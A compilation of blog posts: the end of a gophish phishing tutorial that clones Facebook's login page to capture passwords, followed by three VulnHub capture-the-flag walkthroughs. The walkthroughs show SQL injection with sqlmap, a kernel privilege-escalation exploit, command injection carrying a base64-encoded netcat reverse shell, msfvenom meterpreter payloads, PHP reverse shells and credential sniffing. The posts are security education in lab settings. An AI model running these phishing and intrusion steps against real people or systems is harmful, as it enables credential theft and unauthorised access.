This field is to set up the outgoing email server. Depending on your email provider, what you enter here will be different than mine. As stated earlier, I am using smtp2go which has a mail server address of mail.smtp2go.com running on port 25 and thus my host is ‘mail.smtp2go.com:25.’ You should be able to find the host information from your email provider. For example, a quick google search of ‘gmail smtp outgoing mail server settings’ shows that the equivalent for gmail would be: ‘smtp.gmail.com:587.’

Username: {your username for your email provider here}

Password: {your password for your email provider here}

Once you have entered the above information you should make sure everything works by hitting the ‘Send Test Email’ button. This will launch a dialog where you can enter a name and address to receive a test email. You can use this to not only verify that the email server is set up properly and working, but also to adjust the headers and such to look exactly the way you want.

I added a few custom headers to make the email look even more legitimate.

Here are what the headers look like for my test email.

Once everything is working to your liking, simply click the save button.

Step 3 : Create Email Template
Now that we have a working Sending Profile, the next thing we want to do is create a believable email template.

This email template is essentially our bait and like all good bait, we want the fish to believe it is real and tasty.

The easiest and perhaps best way to do this, is to find an email in our own inbox from the same provider we are trying to imitate.

I searched my inbox for emails from Facebook and found one that best suited my needs.

Then using the hamburger menu in gmail, I clicked ‘Show original’ which gave me an option to copy that email to my clipboard.

Navigating back to our gophish instance, we can go to the ‘Email Templates’ section and click ‘New Template.’ From here we can now use the ‘Import Email’ button to paste the email that we have just copied.

With the email now imported we can edit it to better suit our narrative.

You will notice that I replaced my name and email with variables.
(i.e. {{.FirstName}})

By doing this we can use this template on an array of potential victims and gophish will replace those variables with each individual victim’s information. A full list of variables available can be found here.

Once every thing looks good, save this template and our bait is set.

Step 4 : Create Landing Page
Now that we have the appropriate bait, we need a good hook. With any luck, when our victim sees this email/bait they will believe it to be the real deal and click the ‘View Privacy Policy’ button. Seems harmless enough.

But when they click the link we are going to send them to a fake Facebook login page, where they will hopefully enter their credentials before being redirected to the actual Facebook Privacy Policy.

Of course that Facebook login page better look convincing or our fish will likely let go of the bait and all we will end up with is a dead thread and maybe their ip address.

Luckily gophish has integrated support for cloning websites too. All we have to do is navigate to the ‘Landing Pages’ section, click ‘New Page’ and import.

Pasting https://www.facebook.com/ into the import URL field gives us an exact copy of Facebook’s login page.

We can then check the ‘Capture Submitted Data’ and ‘Capture Passwords’ options. I should note here, that you should heed the warning here. If you are on a pen-testing assignment, it is probably enough to simply demonstrate to your client that their people fell for the phishing attempt, and you probably shouldn’t ‘Capture Passwords’ for legal reasons. That said, we are pretending to be hackers for this demo.

Finally, we will also set the redirect link. Since we are pretending to be Facebook’s privacy team and our call to action was ‘View Privacy Policy’, we will simply redirect the victim to Facebook’s actual privacy policy.

Click save and now we have our hook.

Step 5 : Set Users & Groups
The last step before putting this all together and launching our Phishing campaign is to set our user group. This stage is the part where we basically decide where we are going to cast our bait.

Navigate to ‘Users & Groups.’ Here we will create a group and add a few targets, using their names and email.

For demonstration purposes, I am adding two personal email accounts I have on different mail platforms. This will allow us to see how the email looks on both. One will be a gmail account and the other account is with gmx.com. I named the group ‘test me’ but you can name it what ever you wish and hit save.

Step 6 : Launch a Campaign
With our fishing hole picked out and all our bait and tackle ready to go, it is time to cast our rod and see what we can catch.

Navigate to the ‘Campaigns’ section of gophish and click on the ‘New Campaign’ button.

Here I named my Campaign, ‘My First Cast.’ Again, you can name it what ever your heart desires.

Using the drop down menus for ‘Email Template,’ ‘Landing Page,’ ‘Sending Profile’ and ‘Groups’ select all the elements we just created.

When we get to URL field you have a few options.

1. Local IP
   If your victims will be opening the email on the same computer or network that you are running gophish on, you can simply point to your local ip address on that network.
2. Public IP
   If your victim is not on your network but you have access to the network’s router admin page, you can set up port forwarding to point your public IP to your local IP on port 80. Then you can provide your public IP as your URL. Warning if you do this, make sure you turn it off when you are done, and keep in mind that you just exposed your public IP address.
3. Tunneling
   Another option would be to use a tunneling service. There are bunch out there, and as mentioned earlier I use ngrok. With ngrok I can simply run a single line terminal command and it will provide me with a temporary url that tunnels back to my local machine.

./ngrok http 80

Once you have your URL and everything set, simply click ‘Launch Campaign.’

That’s it! Now we just sit back and wait.

Your dashboard will update in almost real time, but if you are the impatient type, you can always hit refresh.

The Fish’s Point of View

While we wait, lets examine our two victims’ inboxes and see how our bait looks.

Above we are looking at the bait in a gmail inbox. It didn’t get flagged as spam so that’s good. It also looks pretty legitimate. I might fall for it, would you?

Now lets look at another provider.

Above is the view from a gmx.com inbox. Looks pretty good here too.

Great, but how about our landing page? What does it look like when the user clicks on any of the links in that email?

That’s pretty convincing too. We could do things like make our landing page https and generate a more believable URL with some of ngrok’s paid features, but all and all, this looks pretty good. Some fish will certainly fall for this.

Checking Our Line

Let’s check on our dash board, shall we?

A quick glance of our dashboard reveals that of the 2 emails we sent, both were opened, and 1 clicked the link and even submitted data.

When we drill into the stats, we can look at the data that was collected.

It looks like bobby@bob.com has a password of ‘myperogative.’

We caught a fish!!!

Gophish will also provide you with the ip address of everyone who opened your email, when you export the event data. You may also notice that it will even allow you to quickly replay the credentials that you just caught with a simple click. But remember, we are not here to be actual scammers. We are here to learn their tactics and protect others.

The End

Another VulnHub Capture The Flag Walkthrough.

Introduction

This post is part of a series of stories documenting my journey as I attempt to solve various Capture The Flag style hacking challenges.

The stories in this series are not meant to be “How To Hack This Box” tutorials. However, if that is what you seek, you will still find it here. But know that it is not the intent.

Instead, this series is meant to document the thought process I use to eventually solve these challenges. I try to write these stories in real time as I am solving the given challenge. In that, these stories will document my failures as much as my successes.

At times, you will likely see me overlook things, fumble my terminal commands, go down long roads to nowhere and have to circle back again and again before eventually solving the challenge. ¯\_(ツ)_/¯

Let’s get Started : My Setup

The challenge we are looking at in this post is the Lord Of The Root: 1.0.1 virtual machine found on VulnHub.

Locally I am running the Kali Linux operating system and all the tools I will use come preinstalled with the OS. I’m running the CTF in VMware Player with the NAT network setting. My NAT network is on vmnet8 and has an IP range of 172.16.186.1–255. Obviously your IP range may be different.

First Things First : Recon

First thing we always want to do is find the target machine’s IP address and any services that it may be running by issuing the following nmap command.

nmap -sS 172.16.186.1/24

Not much to go on here. We have our target at 172.16.186.208 with an open ssh port. I did fire up zenmap at this point to do a more thrurough scant of all tcp ports, but nothing but port 22 ssh open.

So we try just a plain ssh request to see bat kind of banner info we may get.

ssh 173.16.186.208

Interesting, looks like we have our first hint. It suggests we have to knock before “entering” so to speak and something about it being easy as 1,2,3.

I wonder if we are talking about port knocking and maybe the 1,2,3 are referring to the port numbers? So I tried knocking on those three ports.

nmap -Pn — host-timeout 100 — max-retries 0 -p 1 172.16.186.208
nmap -Pn — host-timeout 100 — max-retries 0 -p 2 172.16.186.208
nmap -Pn — host-timeout 100 — max-retries 0 -p 3172.16.186.208

Then we tried ssh again, only to find the same banner, but maybe it triggered something. I spun up zenmap again, starting another scan of all TCP ports and waited in anticipation.

Nice! we found a new port, 1337 running an Apache web server.

Typically I run nikto on the target here, but it didn’t reveal anything exciting so we went straight to our browser.

You do you girl! You bring that ring to Mordor!

Just a very simple page here. Nothing but what we see in the browser as far as looking at the source code. Just a simple image tag.

At this point, I thought about making a “Lord of The Rings”, wordlist using cewl or something and trying to brute-force some directories, but before we go to such lengths I decided to just try “mordor”

http://172.16.186.208:1337/mordor

It worked! Great, and what’s more, looking at the source code this time we have a little extra something.

<html>
<img src="/images/hipster.jpg" align="middle">
<!--THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh>
</html>

That looks a lot like a base64 encoded string and what do we do with such things? We decode them.

echo THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh | base64 -d

Ok again!

echo Lzk3ODM0NTIxMC9pbmRleC5waHA= | base64 -d

Well that looks like a promising end point to our target site.

I quickly test this form with some dummy data. This reveals that the error messages won’t help us try to brute force usernames, so I fire up burp suite to capture a request and see what I can find.

So we have a typical post request with 3 params and a cookie, all of which could be potential sql-injection points. So I do what I always do.

I copy the whole request to a file called mordor.req and throw it at sqlmap.

POST /978345210/index.php HTTP/1.1
Host: 172.16.186.208:1337
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.186.208:1337/978345210/index.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 47
Cookie: PHPSESSID=vr1ot4ubvkt5d9cbadcf94rmc3
Connection: close
Upgrade-Insecure-Requests: 1

username=admin&password=password&submit=+Login+

Because I think the cookie might also be an injection point, I up the level of attack with sqlmap to 3, which will test for time based and cookie injections as well.

sqlmap -r mordor.req — dbs — level 3

Bam! Just like that we have found a SQL injection point in the username param.

POST parameter ‘username’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 723 HTTP(s) requests:
 — -
Parameter: username (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: username=admin’ AND (SELECT 8356 FROM (SELECT(SLEEP(5)))SOsK) — ghjf&password=password&submit= Login
 — -

We were also able to reveal the following DB names.

available databases [4]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] Webapp

I decided to immediately enumerate the tables of the Webapp DB.

sqlmap -r mordor.req — dbs — level 3 -D Webapp — tables

We found a table called Users, which is always a good sign so, we go on to dump that table.

sqlmap -r mordor.req — dbs — level 3 -D Webapp -T Users — dump

Oh my goodness, so many user to choose from. We have almost the whole gang here. Of course we try them all in our web form and while they all appear to be valid credentials, they all just land us on the same page.

I decided to try these credentials via ssh, starting with legolas since he has waffles, and I like waffles very much.

None of them worked except smeagol.

ssh smeagol@172.16.186.208

Game On! : Privilege Escalation

I start off by trying to list our sudo privileges as smeagol.

sudo -l

“Sorry, user smeagol may not run sudo on LordOfTheRoot.”

I then took a look at the passwd file to see what users we are dealing with.

cat /etc/passwd

Well this is good news. There doesn’t seem to be any real users except smeagol and root, which must mean we are close!

We continue with our normal privilege escalation recon, to see what suid programs there might be

find / -perm -4000 -type f 2>/dev/null

But nothing seems to stand out. Let’s take another look at our kernal version.

uname -al

Linux LordOfTheRoot 3.19.0–25-generic #26~14.04.1-Ubuntu SMP Fri Jul 24 21:18:00 UTC 2015 i686 i686 i686 GNU/Linux

If we look in the exploit DB that comes with Kali, we find a potential privilege escalation vulnerability in the kernel.

searchsploit Ubuntu 14

More information about the exploit as well as a convenient download link are available at https://www.exploit-db.com/exploits/39166

Copying the download link we use wget on our victim’s machine to grab the exploit.

wget https://www.exploit-db.com/download/39166

For whatever reason the exploit didn’t download with the proper extension so I renamed it to 39166.c and then used gcc to compile it and save it out as ‘privesc’

gcc 39166.c -o privesc

Then we merely run it.

./privesc

We are root!

Navigating over to the root directory we find some weird python script that indicates we might have bypassed some secret doors we were suppose to use to get root.

Does it really matter though? We are root!

cat Flag.txt

“There is only one Lord of the Ring, only one who can bend it to his will. And he does not share power.”
– Gandalf

Game Over : Lord of The Ring

Another VulnHub Capture The Flag Walkthrough.

Introduction

This post is part of a series of stories documenting my journey as I attempt to solve various Capture The Flag style hacking challenges.

The stories in this series are not meant to be “How To Hack This Box” tutorials. However, if that is what you seek, you will still find it here. But know that it is not the intent.

Instead, this series is meant to document the thought process I use to eventually solve these challenges. I try to write these stories in real time as I am solving the given challenge. In that, these stories will document my failures as much as my successes.

At times, you will likely see me overlook things, fumble my terminal commands, go down long roads to nowhere and have to circle back again and again before eventually solving the challenge. ¯\_(ツ)_/¯

Let’s get Started : My Setup

The challenge we are looking at in this post is the Tempus Fugit 1 virtual machine found on VulnHub.

Locally I am running the Kali Linux operating system and all the tools I will use come preinstalled with the OS. I’m running the CTF in VMware Player with the NAT network setting. My NAT network is on vmnet8 and has an IP range of 172.16.186.1–255. Obviously your IP range may be different.

First Things First : Recon

First thing we always want to do is find the target machine’s IP address and any services that it may be running by issuing the following nmap command.

nmap -sS 172.16.186.1/24

Ok, so this looks pretty straight forward. No plethora of rabbit holes to jump down, just one simple port 80 open on 172.16.186.196.

Because of the lack of ports and partly because of the description of this VM hinting at things like time and change,

Tempus Fugit is a Latin phrase that roughly translated as “time flies”.

It is an intermediate real life box.

Created mostly by 4ndr34z with some assistance by DCAU, the idea behind Tempus Fugit was to create something “out of the ordinary” and without giving anything away, something “dynamic” and a lot like time… changing.

I got a sneaky suspicion right off the bat that I should fire up wire shark and see if this box was doing any automated tasks on my network that might be atypical.

In fact, it was quite busy and a few things caught my eye. There were some MDNS requests, arp requests, and a call to http://moonunit.colliertech.org/.

This was odd, and I really didn’t quite know what to make of it all. So before I dove too deep I reached out to the author, @4nqr34z , on twitter with a few questions.

Ok, back to port 80.

It looks quite tasty at first glance too. Maybe another WordPress site?

I immediately throw it at nikto to see what comes up.

nikto -h 172.16.186.196

Holy Output Batman!

My terminal window exploded with “potential” vulnerabilities, all of which pretty much turned out to be false positives of the snarky variety.

I said “pretty much” because I didn’t actually try them all. It seems very apparent that the author doesn’t expect us too either.

What’s more, I would bet this is his way of saying

“Don’t even try to automate this one kid!”

Ok, I get it. We are going to have to switch to manual labor, poking around with our mouse and keyboard the old fashion way.

Fine, we’ll cut the cord so to speak.

We find a contact form on the main page, but poking and prodding reveals nothing too crazy going on here.

We also find a form that allows us to upload text files, though to where is a mystery.

When you upload a text file the page displays the text of the file uploaded, so I immediately tried some script injection.

But long story short, nothing seemed to be working. So it was time to take a look at what was going in with Burp Interceptor.

If we couldn’t inject inside the text, maybe we could play with other parts of the request.

Like the filename!

I started by adding null characters and secondary file extensions and all sorts of other tricks.

I realized I could upload php scripts and the like, using filenames like:

text.php%00.txt

But that really wasn’t going to get me anywhere if I couldn’t access the script after it was up.

What if we try some remote code execution.

filename=”text.txt;ls -al”

Bingo! We have remote code execution. Sweet! If we view source it’s a little more readable.

You’ll have to forgive me as with all my experimenting up to this point, I have apparently made a mess of the working directory, as I can see it is riddled with files I tried uploading like “poop” and “pop.sh” You shouldn’t see those on your machine.

But the important thing is we now have a valid attack vector in our sites.

Let’s Attack : Remote Code Execution

At this point we want a shell and an R.C.E.vector should be ripe for just that.

Out of curiosity I through one more command at our vulnerable scrip.

text.txt;whoami

To my surprise it spit back root. This seems too good to be true.

We are going to attempt a good old fashion netcat reverse shell, by starting up a listener on port 7777 of our local machine.

nc -lvp 7777

With that running in the background, we head back over to burp and see if we can’t get some netcat going.

“text.txt;nc -e /bin/bash 172.16.186.1 7777”

Ok that’s a little weird. We didn’t get a success message. Instead we got a file type error. Whats more when we check on our netcat listener, crickets!

Hmm, my hunch was that the extra dots and spaces are messing it up. There is likely some kind of cleansing going on.

We are going to have to think a little out of the box here. I ponder it for a bit and come back with an idea. What if we can make our netcat command a base64 encode string and somehow pass that and have it decoded and piped to bash.

I quickly turn to burp’s decoder and base64 encode my netcat command like so.

With that base64 string I craft my payload.

;echo bmMgLW52IDE3Mi4xNi4xODYuMSA3Nzc3IC1lIC9iaW4vc2g= | base64 -d | sh”

And then we pass it along like so.

And looking over at our listener:

We have a shell.

That’s it? : We are root?

Ok so we have a shell and we are root, so this should be it but I’m having a sick feeling that this is not over.

I quickly use python to get a proper shell

python -c “import pty; pty.spawn(‘/bin/bash’)”

and then navigate over to our root directory to find our flag.

Well, kind of what we suspected. The “flag” is just a message verifying my gut, we are not done!

Well as root, we might as well take a look at the other users on the system and their encrypted password in the shadow file.

Nothing there! Apparently root doesn’t even have a password.

I was a bit baffled here. The author had stated in the description that this was an unusual box.

“the idea behind Tempus Fugit was to create something “out of the ordinary” and without giving anything away, something “dynamic” and a lot like time… changing.”

So I was expecting something odd, but was assuming there was a service or something that pinged something over time, or a port that kept changing or something like that. But this was just odd. I am root, and well.. yeah..

A million questions raced through my mind…

What was I suppose to do here?

Am I root of the wrong box?

Is this a box in a box or are there other boxes?

What’s the point of being root anyway?

What does any of this have to do with time.

Is time even real?

Why am I even here?

So like all unanswered questions, I turned to google. “Hey google, what is the purpose of life?” And the best I could come up with was….

At this point I briefly explored my theory that there might be another box and checked the network configurations.

ifconfig

This is interesting. If you remember from our set up, the VM is running on our NAT vmnet8 network, which has an IP range of 172.16.186.1–255 and our target resides at 172.16.186.196 on that network.

But when we run ifconfig from our shell, the victim’s ip is 172.19.0.10. That’s certainly not its’ address on our network.

I then tried to run nmap only to find it not installed. Whats more I couldn’t seem to find a valid package manager to use to install it.

Not Alone : Phone a Friend

At this point I was stuck and needed a hint.

Luckily one of the authors of this particular box and I, already follow each other on twitter, so we have a rapport. ;)

@4ndr34z writes:

Obviously I took 4ndr34z’s advice and navigated back to the directory I had landed in and checked out the source code.

First I took a look at main.py.

ftp.login(‘someuser’, ‘b232a4da4c104798be4613ab76d26efda1a04606’)

Well that’s interesting. It appears our upload function is using an ftp service with the above credentials.

The fact that the credentials are being passed as parameters to the ftp login function, lead me to believe that password was probably plain text but I love decryption so I took a crack at it. I discovered that it was a combination of SHA and Ascii hex and decoded it to be “mofo” just in case.

Saving that info to our notes, we move on and take a look at the rest of the code. But nothing really stood out to me.

Ftp credentials seem like great pivot point, but I was left wishing I had nmap available to me in this shell.

I dug around a bit trying to find a package manager again and eventually stumbled upon apk. Apparently this docker image runs alpine linux package manager.

apk add nmap

And bang we have nmap, though a quick test showed it to be a little slow, so i decided to just scan 20 addresses.

nmap -sS 172.19.0.1–20

We this is interesting. We have 2 other IP addresses.

172.19.0.1 (ports: 22, 80, and 8080)

and

172.19.0.12 (port: 21) ←FTP BINGO!

Well obviously our next target is 172.19.0.12:21, but let’s pause and get our barrings for a minute..

We started this journey hours ago. What’s another minute right?

Sure we got a “root” shell pretty fast and true we knew in our hearts, that couldn’t be the end. And it wasn’t, but we just spent another hour only to find ourselves here?

We are enumerating IP addresses and finding open ports with nmap. It’s like, we have only just begun.

Switch Gears : Pivot via FTP

Ignoring for the moment 172.19.0.1 (which is likely our ultimate target), I moved to that ftp flag waving box at 172.19.0.12

In my poking around earlier I had taken a peek in the /bin/ folder where I did see ncftp was installed.

Looking back at the ftp credentials we found in the main.py script, we attempt to log into our new target.

ncftp -u someuser 172.19.0.12

Awesome we are in! Though I will admit that I was kind of hoping the password failed so I could justify spending time decoding it to “mofo” earlier.
Now I’m left wondering if it was actually encrypted or I just happened to generate what kind of looked like a word, “mofo.” The world may never know.

Connected, we list our working directory to see where we are at.

Oh no! It looks like we are in the same damn upload directory.

All I feel is shame as I am forced to look at the mess I made with all my failed injection attempts.

Because of the mess I made, I almost didn’t notice this other file called, cmscreds.txt.

I had to exit out of ftp for a minute and check back at the upload folder we had as root to see if it was there all along and I missed it. But it wasn’t.

Hmm we are in a different place after all. That’s good. so what is in this file.

get cmscreds.txt

Admin-password for our new CMS
hardEnough4u

I assumed at this point that these are credentials for a content management system for what ever site is on our other newly found ip.

Since we are in a shell and that IP is not reachable from our local machine, using those credentials is going to be tricky. For shits and giggles I tried them on the ssh port, but no luck.

I then installed curl and nikto on our victim’s machine.

apk add curl, nikto

I ran them pointing to ports 80 and 8080 on 172.19.01, just as we always do, to see what I could learn.

From what I could tell from the curl output, it seems that port 80 is just like our current host’s site and 8080 looks like an Apache version page.

I think we need to set up some port forwarding on our victim, so that we get at that site on 172.19.01:8080.

Tunnel Vision : Port Forwarding

I’m thinking at this point, if we can set up IP tables on our host, maybe we can give the outside world access to our new target.

I looked an currently iptables is not installed but a quick check with “apk list iptables” revealed it is available. I then went ahead and installed it.

apk add iptables

I decided it was probably a good idea to reboot the machine now. I then hit google as my knowledge of iptables is rusty to say the least.

I found a tutorial rather quickly that looks like it is exactly what we need.

How-To: Redirecting network traffic to a new IP using IPtables

But that didn’t seem to work. Following the above instructions we realize there is a permission or possible kernal problem that won’t let us even run “iptable -list.”

The internet lead me to believe that I was experiencing a common problem with iptables on a alpine linux docker image. However, it did not offer any solutions that seemed to work for me.

Stuck a second time, I reached out to twitter again. Quickly asked the vulnhub community and our friendly author, if I was on the right track and if anyone had any hints for getting iptables port forwarding working on a docker image.

And then I took a break and waited..

And then the next day there was this:

I can’t believe I didn’t think of this. I guess after our run in with nikto blowing up our terminal window, I got the impression such tools were off limits.

Ok so I quickly turned back to my host machine, fired up a terminal, and used msfvenom to generate a reverse tcp payload that I could get a meterpreter shell with. Then copied that file over to my www folder, so that I could fire up apache and use wget from the victim to shell to get the payload.

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.16.186.1 LPORT=5555 -f elf > pivot_shell.elf

Then, I fired up metasploit to set a handler for our payload on port 5555

mfsconsole

use exploit/multi/handler

set PAYLOAD linux/x86/meterpreter/reverse_tcp

set LPORT 5555

set LHOST 172.16.186.1

run

Then back on our victim’s box, we grab our pay load and execute..

wget 172.16.186.1/pivot_shell.elf

Switching back to our metasploit terminal, we find a meterpreter session!

Ok great, so now we want to set up some port forwarding via metasploit so that we can get at that 172.19.0.1:8080 site.

The documentation on port forwarding with metasploit is pretty straight forward.

portfwd add -l 6060 -p 8080 -r 172.19.0.1

Ok with any luck we should be able to go to our target’s IP on our NAT via a browser pointing to port 6060 and see our new target’s web site.

Hmm. We must be missing something.

I took a break and when I came back and retraced my steps, I realized I had potentially missed something.

If you remember when we did our initial network scan of the victim’s internal network, we only scanned 20 address. We got excited about finding an FTP server, and away we went. So for good measure, I ran a more complete scan.

nmap -sS 172.19.0.1/24

And what do you know, a DNS server on 172.19.0.100. This seems like something we might need.

This prompted me to go back to our victims /etc/ folder and poke around at the hosts and resolv.conf files, where I noticed this:

What is this?

search mofo.pwn

Maybe our extra credit decryption early in this challenge, that resulted in “mofo,” wasn’t a false positive after all. No matter.

At this moment, I went to “dig” deeper, only to realize dig wasn’t installed.

apk add bind-tools

Then we ran dig on this mofo.pwn domain.

dig axfr mofo.pwn

Lots of domains pop up, but one in particular certainly looks like those CMS credentials we found long ago, might be exactly what we need.

At this point a moment of sobriety hit me. I don’t need metasploit. I know our author suggested it, but I think we should be able to do this with ip routing right from our host/attacking machine.

First lets route everything on the victim’s internal network through our victim’s ip on our network like so:

ip route add 172.19.0.0/24 via 172.16.186.196

Then we add the following to our own /etc/hosts file:

172.19.0.1 ourcms.mofo.pwn

Lets try that in our browser shall we?

http://ourcms.mofo.pwn:8080/

Nice, and if we look back at our nikto scan of this target, we remember a nice admin/ endpoint that looked promising.

And what about those credentials we had found?

Admin-password for our new CMS
hardEnough4u

Oh this is going to be fun! I first took a look at uploading a file, but it appeared to be disabled. Heading over to themes how ever looks promising as themes seem to be editable php files. Nice.

So we turn to our favorite php reverse shell script and set it to our victim’s shell ip and port 4444

$ip = ‘172.19.0.10’; // CHANGE THIS
$port = 4444; // CHANGE THIS

Then on our victim shell we set up our listener,

nc -lvp 4444

before navigating over to:

http://ourcms.mofo.pwn:8080/Innovation/template.php

and BAM!

We have a shell on 172.19.0.1 but we are only www-data. Have to be honest I was kind of hoping this was it, but fine.

Game On : Privilege Escalation

So I poked around for quite a bit here as www-data. We don’t know our own password, so we can’t do our typical ‘sudo -l’ to list sudo programs that we can run and there wasn’t much in the way of SUID files we could use either.

find / -perm -4000 -type f 2>/dev/null

I found myself stuck yet again.

Then it dawned on me! @4nqr34z told us a while back in this challenge that wire shark was a good idea. At the time it didn’t really make much sense, so we moved on to port 80, but if you remember there were various DNS queries happening on our network.

I fired up responder to take another look, maybe there were some NTLM hashes or something we could grab for user escalation.

responder -I vmnet8

And with in seconds, it spit out plain text credentials for a user named linus.

[HTTP] Basic Client : 172.16.186.196
[HTTP] Basic Username : linus
[HTTP] Basic Password : friendship

With credentials, we can likely get out of this unstable shell and ssh into this box.

ssh linus@172.19.0.1

Damn it! It didn’t work.

I tabbed back over to my responder window and found a surprise.

It appears that in the time it took me to document my findings and try the credentials we just found, they changed. This is all starting to make sense now.. This box is dynamic and forever changing.

I felt incredibly lucky here. If I had closed out my responder window once I got credentials, I would have thought it was another dead end.

I tried the new ssh credentials and Bingo!

I am linus and apparently I have mail! So we navigate over to the mail folder.

cd /var/mail

Here we can cat linus’s mail and see he has quite a lot.

Scrolling through all the jokes and such we eventually find some credentials for another user.

BTW.
You will need my username and password when you step in for me next week
binny:9z4lw0r82me0

So we try to ssh in with those credentials from another window.

ssh binny@172.19.0.1

Quickly we determine that binny has some sudo power in the way of a program called cpulimit.

A quick look at cpulimit’s help page reveals it can be used to execute programs.

So we give it a shot, as root.

sudo cpulimit -l 100 -f /bin/sh

We are root, and navigating over to root’s home directory we find a bash script called proof.sh.

./proof.sh

Another VulnHub Capture The Flag Walkthrough.

Introduction

This post is part of a series of stories documenting my journey as I attempt to solve various Capture The Flag style hacking challenges.

The stories in this series are not meant to be “How To Hack This Box” tutorials. However, if that is what you seek, you will still find it here. But know that it is not the intent.

Instead, this series is meant to document the thought process I use to eventually solve these challenges. I try to write these stories in real time as I am solving the given challenge. In that, these stories will document my failures as much as my successes.

At times, you will likely see me overlook things, fumble my terminal commands, go down long roads to nowhere and have to circle back again and again before eventually solving the challenge. ¯\_(ツ)_/¯

Let’s get Started : My Setup

The challenge we are looking at in this post is the AI: Web: 1 virtual machine found on VulnHub.

Locally I am running the Kali Linux operating system and all the tools I will use come preinstalled with the OS. I’m running the CTF in VMware Player with the NAT network setting. My NAT network is on vmnet8 and has an IP range of 172.16.186.1–255. Obviously your IP range may be different.

First Things First : Recon

First thing we always want to do is find the target machine’s IP address and any services that it may be running by issuing the following nmap command.

nmap -sS 172.16.186.1/24

Ok so not much here, just a simple http service on port 80. I also did a more advance scan, scanning all tcp and udp ports and still just port 80 open. This is probably a blessing in my experience as there are less rabbit holes to jump down.

Taking a quick look at the target in our browser, we find an empty website.

It seems very obvious that they are taunting us with how proud they are about preventing even google from spidering their site.

So we of course take a look at the robots.txt file.

User-agent: *
Disallow: 
Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/

Well this gives us something to go on.

Hmm’ those links are definitely forbidden. I then fired up nikto and did a few scans. First starting with the root address: 172.16.186.206 and then adding scans for the two directories in the disallow list.

nikto -h http://172.16.186.206

nikto -h http://172.16.186.206/m3diNf0/

nikto -h http://172.16.186.206/se3reTdir777/uploads/

In the end this didn’t yield much aside from revealing an interesting info.php file in the ‘m3diNf0’ directory.

There seems to be a plethora of potentially useful information here so I saved this browser tab, thinking it could come in handy later.

Moving on! With our knowledge of this ‘uploads’ folder I wanted to make sure I didn’t overlook it’s parent directory, so I quickly went back to take a look.

Interesting. It appears we have a potential attack vector in the way of some simple one field form. The form suggests that it would like an ID of some sort, so I quickly throw a number in there and see what I get.

I started with inputting the number 1.

So there is a user named admin. What about a few other numbers..

Ok, so poking around was fun and all, and we learned about 3 user names apparently, but let’s get a little creative.

What happens if we throw a quotation marks at the form? I try inputting: 1'.

And what do you know?

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1'’’ at line 1

This is where we do a little dance as we now have a very valid attack vector.

Lets Dance : SQL Injection

I created a text file called aiweb_request and copied/pasted a request to this vulnerable form into that file.

GNU nano 4.3 aiweb_request
POST /se3reTdir777/ HTTP/1.1
Host: 172.16.186.206
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.16.186.206/se3reTdir777/
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Connection: close
Upgrade-Insecure-Requests: 1

uid=2&Operation=Submit

NOTE: I got this request information using Burp to intercept the request.

Then we throw it at our trusty automation tool, sqlmap.

sqlmap -r aiweb_request — dbs

Great we can see our DB names and we will just go ahead and dump the one called ‘aiweb1.’

sqlmap -r aiweb_request — dbs -D aiweb1 — dump

Ok so we can see those three user names we found earlier in a ‘user’ table but then there is also this table called ‘systemUser’ which looks way more interesting.

For one, each user has what appears to be a simple base64 encoded password.

Base64 might as well be plain text for our concerns, as we can decode them to plain text with a simple bash command.

echo “someHashHere” | base64 -d

So now we have the following potential user passwords.

t00r : FakeUserPassw0rd

aiweb1pwn : MyEvilPass_f908sdaf9_sadfasf0sa

u3er : N0tThis0neAls0

Ok but these are no good to us. Two of them are screaming “fake” at us and even if they are real, only port 80 is open and so far we have found no admin page or anything.

So now what?

I saved these username and password combinations to my notes anyway and pressed on.

Pivot : SQLi to Shell

If we look at the sqlmap help page we can see a few options for getting shells.

sqlmap -h

I decided to take a crack at the os-pwn option.

sqlmap -r aiweb_request — dbs — os-pwn

This task takes a few message prompts so I will try and walk you through it. I had to try a few times before I got it right myself.

I went with the default php language option as we know the site is running php and opted in on the full path disclosure, to start.

This is when things get a little tricky.

With some trial and error, I eventually ended up going back to that info.php file we found earlier to discover a slightly unconventional root directory:

/home/www/html/web1x443290o2sdf92213/

The sqlmap ‘os-pwn’ option uploads a malicious payload, so I appended this strange root directory with our discovered uploads directory and saved it to a text file called ‘dirlist’ and used it with option 3 in our next prompt.

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads

And just when it looked like we were about to get a reverse tcp connection..

It failed!

I know what you are thinking. “I thought you said it took you a while but you got it right?” Well it did take a while and I sort of got it right.

One of the best things about sqlmap, aside from it automating mundane injection trial and error tasks for you, is it also shows you what it is doing.

When we look back at the logs we see this.

Which reveals a php script with an upload form.

http://172.16.186.206:80/se3reTdir777/uploads/tmpuanbs.php

Ok this makes everything so much easier. We can turn to our favorite php-reverse-shell script, and be good to go.

I modify the above script to point to my local IP address, 172.16.186.1 and port 7777 for good luck.

I saved the modified copy out as pop.php.

I then fire up a listener on my local machine.

nc -lvp 7777

Then using the upload form we just found I browsed to pop.php and upload it.

Ok, now the moment of truth. With our listener still running in the background terminal, we navigate over to pop.php.

172.16.186.206/se3reTdir777/uploads/pop.php

BAM! we have a shell!

More Dancing.

Moving on Up : Privilege Escalation

Using our trusty python command we quickly spawn bash to get some nicer resemblance of an actual terminal and get our barrings.

python -c “import pty;pty.spawn(‘/bin/bash’)”

